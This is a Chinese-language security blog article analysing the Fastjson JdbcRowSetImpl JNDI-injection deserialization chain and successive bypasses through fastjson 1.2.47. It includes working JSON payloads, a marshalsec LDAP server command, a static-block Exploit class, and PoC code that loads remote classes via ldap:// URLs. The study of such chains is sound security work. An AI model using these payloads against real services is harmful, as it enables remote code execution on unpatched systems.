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Java安全之FastJson JdbcRowSetImpl 链分析

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Java安全之FastJson JdbcRowSetImpl 链分析

0x00 前言

续上文的Fastjson TemplatesImpl链分析，接着来学习 JdbcRowSetImpl 利用链， JdbcRowSetImpl 的利用链在实际运用中较为广泛，这个链基本没啥限制条件，只需要 Json.parse(input) 即可进行命令执行。

0x01 漏洞分析

利用限制

首先来说说限制，基于JNDI+RMI或JDNI+LADP进行攻击，会有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

攻击流程

  1. 首先是这个lookup(URI)参数可控
  2. 攻击者控制URI参数为指定为恶意的一个RMI服务
  3. 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
  4. 目标在进行 lookup() 操作时，会动态加载并实例化Factory类，接着调用 factory.getObjectInstance() 获取外部远程对象实例；
  5. 攻击者可以在Factory类文件的静态代码块处写入恶意代码，达到RCE的效果；

JDNI注入细节

简单分析一下lookup参数可控后，如何走到RCE.

调用链：

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);

loadclass进行实例化，触发静态代码块的Runtime代码执行命令执行。

调试分析

影响版本：fastjson <= 1.2.24

payload: 

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。

  • @type： 目标反序列化类名；
  • dataSourceName： RMI注册中心绑定恶意服务；
  • autoCommit ：在Fastjson JdbcRowSetImpl链中反序列化时，会去调用setAutoCommit方法。

详细分析fastjson如何解析可查看Fastjson TemplatesImpl链分析文章，再次不做赘诉。

启动LDAP服务端 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit代码，需将代码编译成class文件然后挂在到web中 

import java.io.IOException;

public class Exploit {

    public Exploit() {

    }

    static {

        try {

            Runtime.getRuntime().exec("calc.exe");

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

POC代码： 

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {

    public static void main(String[] args) {

//               String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";

        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";

        JSON.parse(PoC);

    }

}

看到payload中的 dataSourceName 参数在解析时候则会调用 setDataSourceName 对 DataSourceNamece 变量进行赋值，来看到代码

而 autoCommit 也一样会调用 setAutoCommit

setAutoCommit 方法调用 this.connect();

lookup中则是传入了 this.getDataSourceName() ，返回dataSource变量内容。而这个dataSource内容则是在前面 setDataSourceName 方法中进行设置的，该参数是可控的。所以可以进行JDNI注入从而达到命令执行。

利用链

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)

而在Fastjson JdbcRowSetImpl 链利用中，则是利用了后半段。

0x02 绕过方式

1.2.25版本修复

先将Fastjson组件升级到1.2.25版本后进行发送payload，查看是否能够利用成功。

修复改动：

  1. 自从1.2.25 起 autotype 默认为False
  2. 增加 checkAutoType 方法，在该方法中进行黑名单校验，同时增加白名单机制

Fastjson AutoType说明

根据官方文档开启AutoType的方式，假设不开启该功能是无法进行反序列化的。因为默认白名单是空的，需要自定义。白名单的绕过基本不可能，都是从黑名单作为入口。白名单需要添加，而黑名单中则是内置在Fastjson中。

1、JVM启动参数 

-Dfastjson.parser.autoTypeSupport=true

2、代码中设置 

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

下面来看代码，这里使用了IDEA中的jar包对比功能

可以看到 DefaultJSONParser 发送了变动，在这里多了一个 checkAutoType 方法去做校验。

跟进方法查看

前面会进行白名单的校验，如果匹配中的话调用loadClass加载，返回一个Class对象。 这里默认白名单的列表为空。

后面这则是会恶意类的黑名单进行匹配，如果加载类的前面包含黑名单所定义的字符则抛出异常。

1.2.25-1.2.41 绕过 

package com.nice0e3;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

public class POC {

    public static void main(String[] args) {

    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";

        JSON.parse(PoC);

    }

}

先来调试不开启的情况，前面依旧就会遍历黑名单对class进行赋值，但最后这个会去检测如果未开启，则直接抛异常，开启则会去返回。

将注释打开后，则直接返回class

命令执行成功。但是可以看到前面的class是 Lcom.sun.rowset.JdbcRowSetImpl 为什么也会触发命令执行？

原因在于 com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader); 方法中，可跟进查看。

这里解析到内容如果为 L 开头， ; 结尾的话就会将这2个字符清空，前面其实还有一个 [ 。

1.2.42 修复方式

修复改动：明文黑名单改为HASH值, checkcheckAutoType 方法添加 L 和 ; 字符过滤。

加密方法位于 com.alibaba.fastjson.util.TypeUtils#fnv1a_64 可将进行碰撞获取值。

1.2.42绕过方式 

package com.nice0e3;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

public class POC {

    public static void main(String[] args) {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";

        JSON.parse(PoC);

    }

}

在 com.alibaba.fastjson.parser#checkcheckAutoType 中将 L 和 ; 进行清空。这里是利用了双写的方式，前面的规则将第一组 L 和 ; ，进行清空，而在 TypeUtils.loadclass 中将第二组内容清空。

1.2.43 修复方式

在1.2.43版本中对了LL开头的绕过进行了封堵 

//hash计算基础参数            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L开头，；结尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL开头                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. " + typeName);                }                className = className.substring(1, className.length() - 1);            }

再次执行poc代码可以看到报错了。 

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 绕过方式

前面可以看到 [ 也进行了清空，可以从该地方进行入手。 

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

执行报错了，报错信息如下： 

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提示缺少了一个 { 

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

1.2.44 修复方式

将 [ 进行限制，具体实现可自行查看。

再次执行前面的poc代码可以看到报错了。

1.2.45绕过方式

利用条件需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。 

public class POC {

    public static void main(String[] args) {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";

        JSON.parse(PoC);

    }

}

下面来分析一下使用这个payload为什么能绕过。其实是借助了 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 进行绕过， org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 并不在黑名单中。

这里是对反序列化后的对象是 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

传入 properties 参数，则会去自动调用 setProperties

而在1.2.46无法执行成功，应该是对该类拉入了黑名单中。

1.2.25-1.2.47通杀

为什么说这里标注为通杀呢，其实这里和前面的绕过方式不太一样，这里是可以直接绕过 AutoTypeSupport ，即便关闭 AutoTypeSupport 也能直接执行成功。

先来看payload 

public class POC {    public static void main(String[] args) {              String PoC = "{\n" +                "    \"a\":{\n" +                "        \"@type\":\"java.lang.Class\",\n" +                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +                "    },\n" +                "    \"b\":{\n" +                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +                "        \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" +                "        \"autoCommit\":true\n" +                "    }\n" +                "}";        JSON.parse(PoC);    }}

可以看到payload和前面的payload构造不太一样，这里来分析一下。

这里未开启 AutoTypeSupport 不会走到下面的黑白名单判断。

fastjson会使用 checkAutoType 方法来检测 @type 中携带的类，但这次我们传入的是一个 java.lang.class

来看到 com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject 方法中

跟进 deserialze 方法查看，这里的 deserialze 是 MiscCodec#deserialze

上面代码会从 objVal = parser.parse(); 获取内容为 com.sun.rowset.JdbcRowSetImpl 。来看到下面 

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

这里使用了 TypeUtils.loadClass 函数加载了 strVal ，也就是JdbcRowSetlmpl，跟进发现会将其缓存在map中。

这里的true参数代表开启缓存，如果开启将恶意类存储到mapping中

断点来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType

因为前面将 com.sun.rowset.JdbcRowSetImpl 所以这里能获取到 com.sun.rowset.JdbcRowSetImpl 该判断不为true，从而绕过黑名单。

而后续则是和前面的一样，通过 dataSourceName 触发对于的set方法将 dataSourceName 变量进行设置，而后通过 autoCommit ,触发 setAutoCommit 触发 lookup() 达到命令执行。

参考文章 

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/7027

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

http://wjlshare.com/archives/1526

0x03 结尾

其实后面还有几个绕过的方式后面再去做分析，除此外还有一些BCEL来解决fastjson不出网回显等方面都值得去思考和研究。

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